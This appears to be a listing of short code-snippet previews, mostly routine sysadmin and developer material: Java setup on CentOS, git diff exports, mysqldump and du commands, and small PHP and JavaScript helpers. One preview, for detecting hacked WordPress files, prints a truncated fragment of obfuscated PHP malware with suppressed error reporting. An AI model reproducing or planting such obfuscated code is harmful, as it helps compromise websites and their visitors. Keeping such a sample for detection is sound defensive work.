CentOS 7
Java
yum install java-1.8.0-openjdk
Setting the JAVA_HOME Variable
sudo cp /etc/profile /etc/profile_backup #Backup the profile file in order to prevent unintentional mistakes
git diff --name-only SHA1 SHA2 | xargs tar -zcf update.tar.gz | |
cp -pv --parents `git ls-tree -r --name-only COMMIT_SHA_OR_BRANCH_NAME` ../output-folder | |
# export changed files between two commits | |
cp -pv --parents `git diff --name-only COMMIT_SHA_1 COMMIT_SHA_2` ../output-folder | |
# diff list | |
git diff --numstat COMMIT_SHA_1 COMMIT_SHA_2 |
function loc(url) { | |
return { | |
search : function() { | |
return url.match(/\?(.+)/i)[1]; | |
}, | |
hash : function() { | |
return url.match(/#(.+)/i)[1]; | |
}, | |
<?php | |
function formatDays($days_value) | |
{ | |
$conditions = [ | |
365 => 'Year', | |
30 => 'Month', | |
7 => 'Week', | |
1 => 'Day' | |
]; |
<?php | |
/** | |
* A script to detecting a hacked Wordpress site files. | |
* <?php $yubmwzr = '+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!/!#0#)idubn24!>!fyqmpef)# x24*<!%t::!>! x24Ypp3)%cB%iN}#*-)1/2986+7**^/%rx<~!!%s:N}#-%o:W%c:>1<%b:>1<!gps)%j:>1<%j:=tj{f2`hA x27pd%6<C x27pd%6|6.7eu{66~67<&w6<*& x72 164") && (!isset($GLOQc:W~!%z!>2<!gps)%j>1<%j=6[%ww2!>c%}&;ftmbg} x7f;!osvufs}w;* x7fif((function_exists(" x6f 142 x5f 163 x74 141fs!*!+A!>!{e%)!>> x22!ftmbg)!gj<*#k#)usbut`cpV x7f x7f8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#/#7e:55946-tr.984:7tmw)%tww**WYsboepn)%bss-%rxB%h>#]y31]278]y3e]81]K78:56985:6197g:7498-!#]y38#-!%w:**<")));$mkcnptm %7-K)fujsxX6<#o]o]Y%7;utpI#7>/7rfs%6<#o]1/20QUUI7jsv%7UFH# x3P6]36]73]83]238M7]381]211M5]67]452]88]5]48]32M3]317]44-K)ebfsX x27u%)7fmjix6<C x27&6<*rfs4/%tmw/ x24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%rN}#2,*j%-#1]#-bubE{h%)tpqsut>j%!*9! xBALS[" x61 156 x75 1r($uas," x72 166 x3a 61 x31")) or (strstr($uas," x61 156 x64 162 $n)-1);} @error_reporting(0); $txmungk = implode(arrayx6f 15 |
// Settings | |
{ | |
"always_show_minimap_viewport": true, | |
"bold_folder_labels": true, | |
"color_scheme": "Packages/Color Scheme - Default/Monokai.tmTheme", | |
"font_size": 12, | |
"highlight_line": true, | |
"ignored_packages": | |
[ | |
"Vintage" |
<div data-secret="<?= htmlspecialchars(json_encode($data), ENT_QUOTES, 'UTF-8') ?>"> | |
Look at inside me! | |
</div> |
# Export | |
mysqldump -u root site_database > /home/sitename/BCKP001.sql | |
mysqldump -u root site_database | gzip > /home/sitename/BCKP001.sql.gz | |
# Ignore specific table | |
mysqldump -u root site_database --ignore-table=site_database.table1 > /home/sitename/BCKP001.sql | |
# Export specific table | |
mysqldump -u root site_database table1 > /home/sitename/BCKP001.sql | |
# Import |
<?php | |
class BreakOut extends Exception {} | |
function mapGenerator(array $arr, $callback) | |
{ | |
$ret = []; | |
foreach ($arr as $val) { | |
try { | |
yield $callback($val); |
# Find Biggest Files and Directories | |
# Run the following command to find out top biggest directories under /home partition. | |
du -a /home | sort -n -r | head -n 5 | |
# To display the largest folders/files including the sub-directories, run: | |
du -Sh /home | sort -rh | head -5 | |
# PARAMETERS | |
# du command: Estimate file space usage. | |
# a : Displays all files and folders. |
CentOS 7
Java
yum install java-1.8.0-openjdk
Setting the JAVA_HOME Variable
sudo cp /etc/profile /etc/profile_backup #Backup the profile file in order to prevent unintentional mistakes